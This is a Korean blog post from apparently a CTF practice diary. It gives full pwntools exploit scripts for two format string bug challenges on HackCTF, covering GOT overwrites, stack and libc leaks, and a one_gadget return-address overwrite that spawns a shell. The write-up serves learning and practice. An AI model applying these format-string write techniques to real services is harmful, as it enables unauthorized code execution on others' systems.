티스토리 뷰

fsb 연습

1일 1pwn으로다가 fsb연습할려고 오늘은 핵씨탭 잡았다.

basic_fsb빼고 두번째로 해보는 fsb공격이였다..

어려웠는데 재밌었다


You_are_silver


binary summary

  • 2byte bof

  • fsb

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3022)
#p = process("./you_are_silver")
e = ELF("./you_are_silver")
l = e.libc

flag = 0x4006d7 # 4196055

log.info(hex(e.got['printf']))
pay = "%4196055c" + "%8$lln" + "A" + p64(e.got['printf'])
pay = pay.ljust(0x2d, 'Z')

pause()
p.sendline(pay)

p.interactive()

babyfsb


binary summary

  • using __stack_chk_fail => main loop

  • stack, canary, ret addr, libc leak


from pwn import *

#context.log_level = 'debug'

p = remote("ctf.j0n9hyun.xyz", 3032)
#p = process("./babyfsb")
e = ELF("./babyfsb")
#l = e.libc

l = ELF("./libc.so.6")

target_got = e.got['__stack_chk_fail']
log.info(hex(target_got))

pay = '%1702c' + '%8$hn' + 'aaaaa' + p64(target_got)
pay = pay.ljust(0x40, 'a')

p.recv()
p.send(pay)

pay = "%$14p"
pay = pay.ljust(0x40, 'a')

p.recv()
p.send(pay)

stack = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 168
log.info('[+] stack : ' + hex(stack))
ret = stack  + 176
log.info('[+] ret : ' + hex(ret))
pay = "%4352c" + "%8$hn" + "AAAAA" + p64(stack)

p.recv()
p.send(pay)

canary = stack - 80

pay = "%4352c" + "%8$hn" + "%19$p" + p64(canary)

p.recv()
p.send(pay)

canary = canary - 80

pay = "%4352c" + "%8$hn" + "%19$p" + p64(canary)

p.recv()
p.send(pay)

#p.recvuntil('\x7f')

p.recvuntil('0x')
libc = int(p.recv(12), 16) - l.sym['_IO_2_1_stdout_']
log.info('[+] LIBC : ' + hex(libc))

ori = libc + l.sym['__libc_start_main']+240
log.info('[+] lsm+240 : ' + hex(ori))

one = libc + 0x45216
log.info('[+] one_gadget : ' + hex(one))

two = one & 0xff

one = one & 0xffff00
one = one >> 8
log.info('[+] one_gadget : ' + hex(one) + ' and ' + hex(two))

pay = "%" + str(two) + "c" + "%9$hhn"
pay += "%" + str(one-two) + "c" + "%10$hn"
pay = pay.ljust(24, 'a')
pay += p64(ret)
pay += p64(ret+1)

pause()
p.send(pay)

p.interactive()

이건 다른 라업들 보니까 pppprret맞춰서 익스했던데.....

나는 fsb가지고만 puts가 스택 사용하고 남긴 stdout으로 풀었다...

덕분에 고생 오지게 했다.

익스도 생각없이 흐름대로 짜서 똑같은짓 하고하고하고...

다시풀어봐야겠다.

아무튼 fsb첫경험 ㅎ



댓글
댓글쓰기 폼
공지사항
Total
7,553
Today
0
Yesterday
4
TAG
more
«   2022/01   »
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31          
글 보관함